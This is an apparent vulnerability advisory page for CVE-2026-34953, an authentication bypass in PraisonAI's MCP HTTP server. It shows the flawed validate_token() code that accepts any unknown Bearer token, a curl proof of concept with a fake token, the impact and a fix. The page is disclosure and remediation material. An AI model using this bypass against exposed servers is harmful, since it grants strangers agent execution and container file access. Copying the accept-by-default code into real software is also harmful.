---
id: "CVE-2026-34953"
page: "https://infrastack.ai/live/CVE-2026-34953"
kind: "vulnerability"
aliases: ["CVE-2026-34953", "GHSA-98f9-fqg5-hvq5"]
title: "PraisonAI Has Authentication Bypass via OAuthManager.validate_token()"
severity: "critical"
cvss: 9.1
epss: 0.0039
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "praisonai", "fixed": ["4.5.97"], "affected": "<= 4.5.96", "ecosystem": "pypi"}, {"name": "praison praisonai", "fixed": ["4.5.97"], "affected": "< 4.5.97", "ecosystem": "vendor"}, {"via": "cpe", "name": "PraisonAI", "fixed": ["4.5.97"], "affected": "< 4.5.97", "ecosystem": "pypi"}]
ecosystems: ["pypi", "vendor"]
tags: ["ai-agents", "ai-tooling", "cwe-863", "mcp", "praisonai", "python"]
not_affected_if: ["auth-required", "localhost-only", "stdio-transport"]
published_at: "2026-04-01T23:29:01+00:00"
first_seen_at: "2026-11-16T16:03:24+00:00"
updated_at: "2026-11-16T16:08:50+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-98f9-fqg5-hvq5", "first_seen_at": "2026-11-16T16:03:24+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34953", "first_seen_at": "2026-11-16T16:08:50+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.0039, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34953"}]
---

# PraisonAI Has Authentication Bypass via OAuthManager.validate_token()

Link for people: https://infrastack.ai/live/CVE-2026-34953 (this .md is for agents)

PraisonAI's MCP HTTP server treats any Bearer token not in its empty internal store as valid, so requests are authenticated without credentials. An attacker with network access can list and run every registered tool, including agent execution, workflow runs, and container file read and write.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:praisonai affected <= 4.5.96 fixed 4.5.97
- vendor:praison praisonai affected < 4.5.97 fixed 4.5.97
- pypi:PraisonAI affected < 4.5.97 fixed 4.5.97

## How to check

- Check the installed version with `pip show praisonai`; affected versions are `4.5.96` and below.
- Look for `praisonai mcp serve` running with the `http-stream` transport, which binds to `0.0.0.0` by default.
- Send a request with a made-up Bearer token to the MCP port and see if it returns a tool list.

## Fix

- `praisonai` upgrade to `4.5.97` (fixed version per the product data).

## Timeline

- 2026-11-16T16:03:24+00:00 ghsa https://github.com/advisories/GHSA-98f9-fqg5-hvq5
- 2026-11-16T16:08:50+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-34953

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-98f9-fqg5-hvq5
- [advisory] Maintainer's advisory: github.com https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-98f9-fqg5-hvq5

## From the sources

### Summary

`OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

### Details

`oauth.py:364` (source) -> `oauth.py:374` (loop miss) -> `oauth.py:381` (sink)
```python
# source
def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()

# sink -- _tokens is empty by default, loop never executes, falls through
    return True
```

### PoC
```bash
# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp \
  -H "Authorization: Bearer fake_token_abc123" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write
```

### Impact

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required.

### Suggested Fix
```python
def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()
    # Unknown tokens must be rejected.
    # For external/JWT tokens, call the introspection endpoint here before returning.
    return False
```

---

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